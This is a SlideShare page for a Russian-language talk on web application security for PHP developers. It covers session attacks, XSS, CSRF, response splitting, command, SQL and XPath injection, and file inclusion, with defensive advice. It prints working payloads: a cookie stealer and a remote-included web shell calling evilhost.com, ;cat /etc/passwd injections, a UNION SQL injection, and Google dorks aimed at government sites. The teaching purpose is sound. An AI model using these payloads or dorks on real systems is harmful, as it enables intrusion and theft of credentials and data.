SlideShare a Scribd company logo
Безопасность веб-приложений.
Так ли опасна виртуальная угроза?
        Александр Татульченков
        Пропагандист и популяризатор php-джихада и медоед-
        стайл кодинга.
        Пишет SQL во вьюхах и несет $GLOBALS в массы.
Источники проблем




• Любители мнят себя профессионалами
• Нацеленность на функциональность, а не
  безопасность
• Размер проекта превышает запланированный
Дайте цифры




• Жертвы атак
• Последствия
Анализ безопасности



• Что нужно защищать
• От кого нужно защищать
• Вероятность взлома и
  последствия
• Экономическая
  целесообразность
Слои безопасности


• Инфраструктура
• Приложение
Аутентификация (Authentication)



• Подбор (brute force)
• Недостаточная
  аутентификация (Insufficient
  Authentication)
• Небезопасное восстановление
  паролей (Weak Password
  Recovery Validation)
Подбор (Brute force)



Автоматизированный процесс проб и
ошибок, использующийся для того,
чтобы угадать имя пользователя,
пароль, номер кредитной карточки,
ключ шифрования и т.д.
Недостаточная аутентификация
                     (Insufficient Authentication)


Эта уязвимость возникает, когда Web-
сервер позволяет атакующему
получать доступ к важной
информации или функциям сервера
без должной аутентификации
Небезопасное восстановление паролей
                  (Weak Password Recovery Validation)


Эта уязвимость возникает, когда Web-сервер
позволяет атакующему несанкционированно
получать, модифицировать или
восстанавливать пароли других
пользователей
Авторизация (Authorization)



• Предсказуемое значение
  идентификатора сессии
  (Credential/Session Prediction)
• Недостаточная авторизация
  (Insufficient Authorization)
• Отсутствие таймаута сессии
  (Insufficient Session Expiration)
• Фиксация сессии (Session
  Fixation)
• Кража сессии (Session
  Hijacking)
Предсказуемое значение идентификатора сессии
            (Credential/Session Prediction)



Предсказуемое значение
идентификатора сессии позволяет
перехватывать сессии других
пользователей
Недостаточная авторизация
                    (Insufficient Authorization)

Недостаточная авторизация возникает,
когда Web-сервер позволяет атакующему
получать доступ к важной информации или
функциям, доступ к которым должен быть
ограничен
Отсутствие таймаута сессии
                   (Insufficient Session Expiration)

В случае если для
идентификатора сессии или
учетных данных не
предусмотрен таймаут или
его значение слишком
велико, злоумышленник
может воспользоваться
старыми данными для
авторизации
Фиксация сессии (Session Fixation)


Используя данный класс атак, злоумышленник присваивает идентификатору сессии
пользователя заданное значение


 http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>


 http://example/<meta%20http-equiv=Set-Cookie%20content= "sessionid=1234;%20domain=
 example.dom">


                                       <?php
 Последовательность атаки
                                       session_start();
 •Установление сессии
                                       if (!isset($_SESSION['initiated'])) {
 •Фиксация сессии
                                            session_regenerate_id();
 •Подключение к сессии
                                            $_SESSION['initiated'] = true;
                                        }
                                       ?>
Кража сессии (Session Hijacking)


Используя данный класс атак,
злоумышленник может украсть
идентификатор сессии
пользователя


 Указывайте домен и httpOnly
Атаки на клиентов (Client-side Attacks)




• Подмена содержимого (Content
  Spoofing)
• Межсайтовое выполнение сценариев
  (Cross-site Scripting, XSS)
• Подделка межсайтовых запросов
  (Cross-site Request Forgery, CSRF)
• Расщепление HTTP-запроса (HTTP
  Response Splitting)
Подмена содержимого
                           (Content Spoofing)

Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы
сгенерированны Web-сервером, а не переданы из внешнего источника
http://example.com/?url=http://hacker-site.com/spoofed-content.html

 <HTML>
 <FRAMESET COLS="100, *">
 <FRAME NAME="pr_menu" SRC="menu.html">
 <FRAME NAME="pr_content" SRC=“<?php echo $_GET[‘url’];?>">
 </FRAMESET>
 </HTML>



 <script>
 if(top.self != window){
     window.location = 'http://yoursite.com';
 }
 </script>
Межсайтовое выполнение сценариев
                        (Cross-site Scripting, XSS)

Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код,
который будет перенаправлен браузеру пользователя

Подвиды атаки
1. Активные (сохраненные) - вредоносный код сохраняется в базе/файле и напрямую выводится
на уязвимой сайте в браузере. Например, в заголовках сообщений, теле постов и т.д.
2. Пассивные (отраженные) - вредоносный код передается GET/POST параметром и выводится
на страницу, сохранение на сервер не происходит.
3. DOM скриптинг

<script>
     var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">';
document.write(url);
</script>


+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
Защита
Качественно фильтруйте пользовательские данные перед их выводом:
•   Не забывайте про html теги и двойные кавычки
• Если это JS событие описанное в атрибуте html тега, помните, что нужно фильтровать не
только кавычки, но и их html сущности &#x27; &#39; &apos; и т.д.
• Если это JS код в атрибуте href тега a, то не забывайте, что при клике браузер их декодирует, а
следовательно эта с виду безобидная строка тоже уязвимость:
    <a href="javascript:alert('%27%29%3Bprompt%28%2FXSS%2F%29%3B%2F%2F');">lalala</a>
•   Но лучше, конечно же, не хранить JS код в href, для этого есть OnClick:)
•   Не забывайте что экранирования кавычек при выводе в теге script не достаточно
•Также следует запретить использование протоколов javascript: и data: во всех ссылках.
•Явно указывать кодировку страницы, не использовать в теге <title> контент генерируемый
пользователем
•Указывать кодировку до тега <title>
Подделка межсайтовых запросов
                        (Cross-site Request Forgery, CSRF)


Вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP.

<script>
function doit() {
html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=‘ +
    ‘http://tvoydohod.com>'; window.frames["frm"].document.body.innerHTML= html;
}
</script>
<iframe name="frm" onload="doit()" width="0" height="0"></iframe>


Защита
•Проверка referer
•CSRT-token
Расщепление HTTP-запроса
                                  (HTTP Response Splitting)

При использовании данной уязвимости злоумышленник посылает серверу специальным образом
сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа
<?php header(“Location: /index.php?lang=” . $_GET[‘lang’]);?>


HTTP/1.1 302 Moved Temporarily                      /index.php?lang=foobar%0d%0aContent-Length:
                                                    %200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d
Date: Sat, 02 Jun 2012 12:53:28 GMT                 %0aContent-Type:%20text/html%0d%0a ContentLength:
Location: http://10.1.1.1/index.php?lang=English    %201 9%0d%0a%0d%0a<html>Preved</html>

Server: Apache 2
                                                     HTTP/1.1 302 Moved Temporarily
271009 with
                                                     Date: Wed, 24 Dec 2003 15:26:41 GMT
Content-Type: text/html
                                                     Location: http://10.1.1.1/index.php?lang=foobar
Set-Cookie:
                                                     Content-Length: 0
PHPSID=1pMRZOiOQzZiE6Y6ii
                                                     HTTP/1.1 200 OK
ApqwBE!-1251019693; path=/
                                                     Content-Type: text/html
Connection: Close
                                                     Content-Length: 19
                                                     <html>Preved</html>
Выполнение кода (Command Execution)




•   Выполнение команд ОС (OS Commanding)
•   Внедрение операторов SQL (SQL Injection)
•   Внедрение операторов XPath (XPath Injection)
•   LI / RI. Local Include, Remote Include
Выполнение команд ОС
                                   (OS Commanding)

Атаки этого класса направлены на выполнение команд операционной системы на Web-сервере
путем манипуляции входными данными
http://example/directory.php?dir=%3Bcat%20/etc/passwd


 <?php
 exec("ls -la $dir",$lines,$rc);
 ?>



 Если вы собираетесь передавать функции пользовательские данные, используйте
 функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не
 смогли обмануть систему, запустив произвольную команду.
Внедрение операторов SQL
                              (SQL Injection)


    $sql = "SELECT user FROM userslist WHERE userid=".mysql_real_escape_string($_GET['uid']);

Для проведения атаки на эту уязвимость от злоумышленника требуется
просто не использовать символы " ' x00 r n x1a в векторе атаки.
Например:
/index.php?uid=-777 UNION SELECT password FROM userlist


•     Mysql_real_escape_string
•     Prepared statements (PDO)
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Внедрение операторов Xpath
                           (Xpath Injection)


Следующее выражение на языке XPath позволяет
определить номер счета пользователя "jsmith" с паролем "Demo1234":


string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text())



Если ввести в качестве имени пользователя следующее выражение:
' or 1=1 or ''=   то получим:


string(//user[name/text()='' or 1=1 or ''='' and password/text()='foobar']/account/text())
Local File Include / Remote File Include


Не так часто встречаются, но имеют место быть. Пример уязвимого кода:

<?php $module = $_GET['module']; include($module); ?>


Наглядный пример файловой инъекции. Как применить?


http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd


Где файл phpshell.txt будет иметь подобное содержание


<?php echo @`$_GET[c]` ?>
Разглашение информации
                  (Information Disclosure)



• Индексирование директорий (Directory Indexing)
• Идентификация приложений (Web Server/Application Fingerprinting)
• Утечка информации (Information Leakage)
• Обратный путь в директориях (Path Traversal)
• Предсказуемое расположение ресурсов (Predictable Resource
  Location)
Логические атаки (Logical Attacks)



• Злоупотребление функциональными возможностями (Abuse of
  Functionality)
• Отказ в обслуживании (Denial of Service).
Злоупотребление функциональными
                    возможностями


- Использования функций поиска для получения доступа к файлам за пределами корневой
директории Web-сервера;
- Использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или
внедрения серверных сценариев;
- Реализация отказа в обслуживании путем использования функции блокировки учетной записи
при многократном вводе неправильного пароля.
inurl:gov.ru inurl:php intext:error



Можно немножко конкретизировать под сообщение об
ошибке в MySQL
inurl:gov.ge inurl:php intext:sql syntax


Все сразу
inurl:"*.php?*=*"+ ( inurl:"*../*" + ( inurl:"LOAD_FILE" |
inurl:"UNION" | inurl:"AND" ) ) +
intext:"root:x:0:0:root:/root:**"
Nmap («Network
Mapper») это бесплатная
утилита с открытым
исходным кодом для
анализа сети и аудита
безопасности систем.
Яростные противники
консоли могут
использовать Zenmap,
это GUI к Nmap'у.
Это не просто «умный»
сканер, это серьезный
расширяемый
инструмент. Типовой
пример использования:

nmap -A -T4 localhost
очень много чего умеет,
но нам от него нужна
одна из возможностей —
определение, для каких
сервисов есть эксплойты.
Бесплатная версия
продукта «home only»

More Related Content

What's hot (20)

PPTX
Тестирование на проникновение в сетях Microsoft
Dmitry Evteev
 
PPT
Web весна 2012 лекция 11
Technopark
 
PPTX
А не поговорить ли нам о XSS!
SQALab
 
PPT
Информационная безопасность и web-приложения
Maxim Krentovskiy
 
PPTX
тестирование защищенности веб приложений
Zestranec
 
DOC
Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
Dmitry Evteev
 
PPTX
Waf.js: как защищать веб-приложения с использованием JavaScript
Positive Hack Days
 
PPT
176023
whitepawn2012
 
PDF
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
PPT
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Dmitry Evteev
 
PPTX
Типовые уязвимости систем ДБО
Positive Hack Days
 
KEY
Безопасность веб-приложений: starter edition
Andrew Petukhov
 
PDF
Л8 Django. Дополнительные темы
Technosphere1
 
PPTX
XSS. Обходы фильтров и защит.
Дмитрий Бумов
 
PPTX
KazHackStan - "><script>alert()</script>
Дмитрий Бумов
 
PPT
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days
 
PPTX
Sql инъекции в тестировании
ISsoft
 
PPTX
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
7bits
 
PDF
как не заразить посетителей своего сайта All а.сидоров, п.волков
Ontico
 
PPTX
Взломать сайт на ASP.NET
Positive Hack Days
 
Тестирование на проникновение в сетях Microsoft
Dmitry Evteev
 
Web весна 2012 лекция 11
Technopark
 
А не поговорить ли нам о XSS!
SQALab
 
Информационная безопасность и web-приложения
Maxim Krentovskiy
 
тестирование защищенности веб приложений
Zestranec
 
Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
Dmitry Evteev
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Positive Hack Days
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Dmitry Evteev
 
Типовые уязвимости систем ДБО
Positive Hack Days
 
Безопасность веб-приложений: starter edition
Andrew Petukhov
 
Л8 Django. Дополнительные темы
Technosphere1
 
XSS. Обходы фильтров и защит.
Дмитрий Бумов
 
KazHackStan - "><script>alert()</script>
Дмитрий Бумов
 
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days
 
Sql инъекции в тестировании
ISsoft
 
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
7bits
 
как не заразить посетителей своего сайта All а.сидоров, п.волков
Ontico
 
Взломать сайт на ASP.NET
Positive Hack Days
 

Similar to Безопасность веб-приложений. Так ли опасна виртуальная угроза? (20)

PDF
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Ontico
 
PPT
Web осень 2012 лекция 11
Technopark
 
PDF
11 лекция, петр волков
karina krew
 
PPT
PT MIFI Labxss
Dmitry Evteev
 
PPT
PT MIFI Labxss
Dmitry Evteev
 
PPTX
Тестирование на проникновение в сетях Microsoft (v.2)
Dmitry Evteev
 
PDF
Web application security (RIT 2014, rus)
Maksim Kochkin
 
PDF
Pt devteev-risspa
yaevents
 
PPTX
Информационная безопасность в аспекте веб-разработки
E-Journal ICT4D
 
PPT
безопасность веб проектов сергей рыжиков
Media Gorod
 
PPT
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
rit2011
 
PPT
Безопасность веб-приложений сегодня
Dmitry Evteev
 
PDF
[ONSEC ]XSS vs waf
d0znp
 
PPTX
Эволюция атак на веб приложения (Evolution of web applications attacks)
c3retc3
 
PPTX
Security testing
MageCloud
 
PPT
Web весна 2013 лекция 11
Technopark
 
PPTX
Пост-эксплуатация веб-приложений в тестах на проникновение
beched
 
ODP
Drupal Paranoia
Inna Tuyeva
 
PPT
Drupal Paranoia
Drupal Camp Kyiv
 
PPT
Drupal Paranoia
Inna Tuyeva
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Ontico
 
Web осень 2012 лекция 11
Technopark
 
11 лекция, петр волков
karina krew
 
PT MIFI Labxss
Dmitry Evteev
 
PT MIFI Labxss
Dmitry Evteev
 
Тестирование на проникновение в сетях Microsoft (v.2)
Dmitry Evteev
 
Web application security (RIT 2014, rus)
Maksim Kochkin
 
Pt devteev-risspa
yaevents
 
Информационная безопасность в аспекте веб-разработки
E-Journal ICT4D
 
безопасность веб проектов сергей рыжиков
Media Gorod
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
rit2011
 
Безопасность веб-приложений сегодня
Dmitry Evteev
 
[ONSEC ]XSS vs waf
d0znp
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
c3retc3
 
Security testing
MageCloud
 
Web весна 2013 лекция 11
Technopark
 
Пост-эксплуатация веб-приложений в тестах на проникновение
beched
 
Drupal Paranoia
Inna Tuyeva
 
Drupal Paranoia
Drupal Camp Kyiv
 
Drupal Paranoia
Inna Tuyeva
 
Ad

More from phpdevby (10)

PPT
Использование AMQP в основе архитектуры бэкенда для мобильного приложения
phpdevby
 
PPTX
MongoDB. Области применения, преимущества и узкие места, тонкости использован...
phpdevby
 
PPTX
Современная разработка сайтов на CMF Drupal.
phpdevby
 
PPTX
Php архитектор - кто он?
phpdevby
 
PPT
Как удержать проект от анархии с помощью Git
phpdevby
 
PPT
Как удержать проект от анархии с помощью Git
phpdevby
 
PPT
Sphinx в реальных проектах: шишки и плюшки
phpdevby
 
ODP
Как удержать проект от анархии с помощью Git.
phpdevby
 
PPTX
PHP 5.4: Что нового?
phpdevby
 
PDF
Сайт на Zend Framework в составе промышленной системы
phpdevby
 
Использование AMQP в основе архитектуры бэкенда для мобильного приложения
phpdevby
 
MongoDB. Области применения, преимущества и узкие места, тонкости использован...
phpdevby
 
Современная разработка сайтов на CMF Drupal.
phpdevby
 
Php архитектор - кто он?
phpdevby
 
Как удержать проект от анархии с помощью Git
phpdevby
 
Как удержать проект от анархии с помощью Git
phpdevby
 
Sphinx в реальных проектах: шишки и плюшки
phpdevby
 
Как удержать проект от анархии с помощью Git.
phpdevby
 
PHP 5.4: Что нового?
phpdevby
 
Сайт на Zend Framework в составе промышленной системы
phpdevby
 
Ad

Безопасность веб-приложений. Так ли опасна виртуальная угроза?

  • 1. Безопасность веб-приложений. Так ли опасна виртуальная угроза? Александр Татульченков Пропагандист и популяризатор php-джихада и медоед- стайл кодинга. Пишет SQL во вьюхах и несет $GLOBALS в массы.
  • 2. Источники проблем • Любители мнят себя профессионалами • Нацеленность на функциональность, а не безопасность • Размер проекта превышает запланированный
  • 3. Дайте цифры • Жертвы атак • Последствия
  • 4. Анализ безопасности • Что нужно защищать • От кого нужно защищать • Вероятность взлома и последствия • Экономическая целесообразность
  • 6. Аутентификация (Authentication) • Подбор (brute force) • Недостаточная аутентификация (Insufficient Authentication) • Небезопасное восстановление паролей (Weak Password Recovery Validation)
  • 7. Подбор (Brute force) Автоматизированный процесс проб и ошибок, использующийся для того, чтобы угадать имя пользователя, пароль, номер кредитной карточки, ключ шифрования и т.д.
  • 8. Недостаточная аутентификация (Insufficient Authentication) Эта уязвимость возникает, когда Web- сервер позволяет атакующему получать доступ к важной информации или функциям сервера без должной аутентификации
  • 9. Небезопасное восстановление паролей (Weak Password Recovery Validation) Эта уязвимость возникает, когда Web-сервер позволяет атакующему несанкционированно получать, модифицировать или восстанавливать пароли других пользователей
  • 10. Авторизация (Authorization) • Предсказуемое значение идентификатора сессии (Credential/Session Prediction) • Недостаточная авторизация (Insufficient Authorization) • Отсутствие таймаута сессии (Insufficient Session Expiration) • Фиксация сессии (Session Fixation) • Кража сессии (Session Hijacking)
  • 11. Предсказуемое значение идентификатора сессии (Credential/Session Prediction) Предсказуемое значение идентификатора сессии позволяет перехватывать сессии других пользователей
  • 12. Недостаточная авторизация (Insufficient Authorization) Недостаточная авторизация возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям, доступ к которым должен быть ограничен
  • 13. Отсутствие таймаута сессии (Insufficient Session Expiration) В случае если для идентификатора сессии или учетных данных не предусмотрен таймаут или его значение слишком велико, злоумышленник может воспользоваться старыми данными для авторизации
  • 14. Фиксация сессии (Session Fixation) Используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script> http://example/<meta%20http-equiv=Set-Cookie%20content= "sessionid=1234;%20domain= example.dom"> <?php Последовательность атаки session_start(); •Установление сессии if (!isset($_SESSION['initiated'])) { •Фиксация сессии session_regenerate_id(); •Подключение к сессии $_SESSION['initiated'] = true; } ?>
  • 15. Кража сессии (Session Hijacking) Используя данный класс атак, злоумышленник может украсть идентификатор сессии пользователя Указывайте домен и httpOnly
  • 16. Атаки на клиентов (Client-side Attacks) • Подмена содержимого (Content Spoofing) • Межсайтовое выполнение сценариев (Cross-site Scripting, XSS) • Подделка межсайтовых запросов (Cross-site Request Forgery, CSRF) • Расщепление HTTP-запроса (HTTP Response Splitting)
  • 17. Подмена содержимого (Content Spoofing) Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированны Web-сервером, а не переданы из внешнего источника http://example.com/?url=http://hacker-site.com/spoofed-content.html <HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC=“<?php echo $_GET[‘url’];?>"> </FRAMESET> </HTML> <script> if(top.self != window){ window.location = 'http://yoursite.com'; } </script>
  • 18. Межсайтовое выполнение сценариев (Cross-site Scripting, XSS) Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя Подвиды атаки 1. Активные (сохраненные) - вредоносный код сохраняется в базе/файле и напрямую выводится на уязвимой сайте в браузере. Например, в заголовках сообщений, теле постов и т.д. 2. Пассивные (отраженные) - вредоносный код передается GET/POST параметром и выводится на страницу, сохранение на сервер не происходит. 3. DOM скриптинг <script> var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">'; document.write(url); </script> +ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
  • 19. Защита Качественно фильтруйте пользовательские данные перед их выводом: • Не забывайте про html теги и двойные кавычки • Если это JS событие описанное в атрибуте html тега, помните, что нужно фильтровать не только кавычки, но и их html сущности &#x27; &#39; &apos; и т.д. • Если это JS код в атрибуте href тега a, то не забывайте, что при клике браузер их декодирует, а следовательно эта с виду безобидная строка тоже уязвимость: <a href="javascript:alert('%27%29%3Bprompt%28%2FXSS%2F%29%3B%2F%2F');">lalala</a> • Но лучше, конечно же, не хранить JS код в href, для этого есть OnClick:) • Не забывайте что экранирования кавычек при выводе в теге script не достаточно •Также следует запретить использование протоколов javascript: и data: во всех ссылках. •Явно указывать кодировку страницы, не использовать в теге <title> контент генерируемый пользователем •Указывать кодировку до тега <title>
  • 20. Подделка межсайтовых запросов (Cross-site Request Forgery, CSRF) Вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. <script> function doit() { html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=‘ + ‘http://tvoydohod.com>'; window.frames["frm"].document.body.innerHTML= html; } </script> <iframe name="frm" onload="doit()" width="0" height="0"></iframe> Защита •Проверка referer •CSRT-token
  • 21. Расщепление HTTP-запроса (HTTP Response Splitting) При использовании данной уязвимости злоумышленник посылает серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа <?php header(“Location: /index.php?lang=” . $_GET[‘lang’]);?> HTTP/1.1 302 Moved Temporarily /index.php?lang=foobar%0d%0aContent-Length: %200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d Date: Sat, 02 Jun 2012 12:53:28 GMT %0aContent-Type:%20text/html%0d%0a ContentLength: Location: http://10.1.1.1/index.php?lang=English %201 9%0d%0a%0d%0a<html>Preved</html> Server: Apache 2 HTTP/1.1 302 Moved Temporarily 271009 with Date: Wed, 24 Dec 2003 15:26:41 GMT Content-Type: text/html Location: http://10.1.1.1/index.php?lang=foobar Set-Cookie: Content-Length: 0 PHPSID=1pMRZOiOQzZiE6Y6ii HTTP/1.1 200 OK ApqwBE!-1251019693; path=/ Content-Type: text/html Connection: Close Content-Length: 19 <html>Preved</html>
  • 22. Выполнение кода (Command Execution) • Выполнение команд ОС (OS Commanding) • Внедрение операторов SQL (SQL Injection) • Внедрение операторов XPath (XPath Injection) • LI / RI. Local Include, Remote Include
  • 23. Выполнение команд ОС (OS Commanding) Атаки этого класса направлены на выполнение команд операционной системы на Web-сервере путем манипуляции входными данными http://example/directory.php?dir=%3Bcat%20/etc/passwd <?php exec("ls -la $dir",$lines,$rc); ?> Если вы собираетесь передавать функции пользовательские данные, используйте функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не смогли обмануть систему, запустив произвольную команду.
  • 24. Внедрение операторов SQL (SQL Injection) $sql = "SELECT user FROM userslist WHERE userid=".mysql_real_escape_string($_GET['uid']); Для проведения атаки на эту уязвимость от злоумышленника требуется просто не использовать символы " ' x00 r n x1a в векторе атаки. Например: /index.php?uid=-777 UNION SELECT password FROM userlist • Mysql_real_escape_string • Prepared statements (PDO)
  • 26. Внедрение операторов Xpath (Xpath Injection) Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234": string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text()) Если ввести в качестве имени пользователя следующее выражение: ' or 1=1 or ''= то получим: string(//user[name/text()='' or 1=1 or ''='' and password/text()='foobar']/account/text())
  • 27. Local File Include / Remote File Include Не так часто встречаются, но имеют место быть. Пример уязвимого кода: <?php $module = $_GET['module']; include($module); ?> Наглядный пример файловой инъекции. Как применить? http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd Где файл phpshell.txt будет иметь подобное содержание <?php echo @`$_GET[c]` ?>
  • 28. Разглашение информации (Information Disclosure) • Индексирование директорий (Directory Indexing) • Идентификация приложений (Web Server/Application Fingerprinting) • Утечка информации (Information Leakage) • Обратный путь в директориях (Path Traversal) • Предсказуемое расположение ресурсов (Predictable Resource Location)
  • 29. Логические атаки (Logical Attacks) • Злоупотребление функциональными возможностями (Abuse of Functionality) • Отказ в обслуживании (Denial of Service).
  • 30. Злоупотребление функциональными возможностями - Использования функций поиска для получения доступа к файлам за пределами корневой директории Web-сервера; - Использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или внедрения серверных сценариев; - Реализация отказа в обслуживании путем использования функции блокировки учетной записи при многократном вводе неправильного пароля.
  • 31. inurl:gov.ru inurl:php intext:error Можно немножко конкретизировать под сообщение об ошибке в MySQL inurl:gov.ge inurl:php intext:sql syntax Все сразу inurl:"*.php?*=*"+ ( inurl:"*../*" + ( inurl:"LOAD_FILE" | inurl:"UNION" | inurl:"AND" ) ) + intext:"root:x:0:0:root:/root:**"
  • 32. Nmap («Network Mapper») это бесплатная утилита с открытым исходным кодом для анализа сети и аудита безопасности систем. Яростные противники консоли могут использовать Zenmap, это GUI к Nmap'у. Это не просто «умный» сканер, это серьезный расширяемый инструмент. Типовой пример использования: nmap -A -T4 localhost
  • 33. очень много чего умеет, но нам от него нужна одна из возможностей — определение, для каких сервисов есть эксплойты. Бесплатная версия продукта «home only»